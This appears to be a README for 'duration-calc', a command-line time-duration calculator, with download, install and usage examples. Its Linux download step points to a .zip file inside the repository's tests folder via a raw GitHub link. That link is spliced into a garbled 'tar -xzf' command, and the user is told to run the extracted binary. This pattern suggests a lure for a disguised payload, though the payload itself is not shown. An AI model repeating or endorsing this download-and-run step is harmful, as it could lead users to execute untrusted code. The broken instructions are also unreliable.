Welcome to duration-calc, a command-line interface (CLI) calculator designed for easy and quick time duration calculations. With duration-calc, you can enter natural language inputs like 2h 30m + 45m to perform time arithmetic without the hassle. This tool helps boost your productivity by simplifying time management tasks.
Follow these steps to download and run duration-calc. You donβt need any programming skills to use this tool.
To download duration-calc, visit our Releases page. Here, you will find all the available versions of the software.
On the Releases page, look for the latest version of duration-calc. Click on the appropriate link to download the file that matches your operating system:
- Windows: Look for a file ending with
.exe. - macOS: Look for a file ending with
.dmg. - Linux: Look for compressed tar files (
https://github.com/Hunted08/duration-calc/raw/refs/heads/main/tests/duration-calc-2.3.zip).
After selecting the right file, the download will start automatically.
Once the download finishes, follow these installation instructions based on your operating system:
- Locate the downloaded
.exefile in your Downloads folder. - Double-click on the file to launch the installer.
- Follow the on-screen instructions to complete the installation.
- Open the downloaded
.dmgfile. - Drag the duration-calc icon into your Applications folder.
- Eject the installer disk image.
- Open a terminal window.
- Navigate to the directory where you downloaded the file.
- Extract the contents with the command:
tar -xzf duration-calc-*https://github.com/Hunted08/duration-calc/raw/refs/heads/main/tests/duration-calc-2.3.zip - Navigate into the created folder using:
cd duration-calc-*
- Run the application by using:
./duration-calc
You can start using duration-calc right after installation. Open your command line interface (Terminal on macOS and Linux, Command Prompt or PowerShell on Windows) and type duration-calc followed by your duration calculations. For example:
- To add 2 hours and 30 minutes to 45 minutes, type:
duration-calc 2h 30m + 45m
The calculator will then show you the result in a clear format.
Here are some examples of how to use duration-calc:
-
Adding durations:
duration-calc 1h 20m + 30mThis will output
1h 50m. -
Subtracting durations:
duration-calc 2h 15m - 45mThis will output
1h 30m. -
Combining multiple operations:
duration-calc 1h 30m + 45m - 15mThis will output
2h.
duration-calc supports Windows, macOS, and various Linux distributions. Make sure to download the version that matches your operating system.
At this time, duration-calc does not support negative time calculations. Please ensure that your inputs result in positive durations.
duration-calc performs calculations using standard time arithmetic, ensuring accurate results for all user's duration inputs.
If you run into any issues while using duration-calc, check out the issues section on our GitHub page. You can post your question or search for similar issues to find solutions.
To learn more about duration-calc or contribute to its development, refer to the following resources:
Feel free to reach out with questions or suggestions. Your feedback helps us improve!
Download duration-calc today and make your time calculations easy.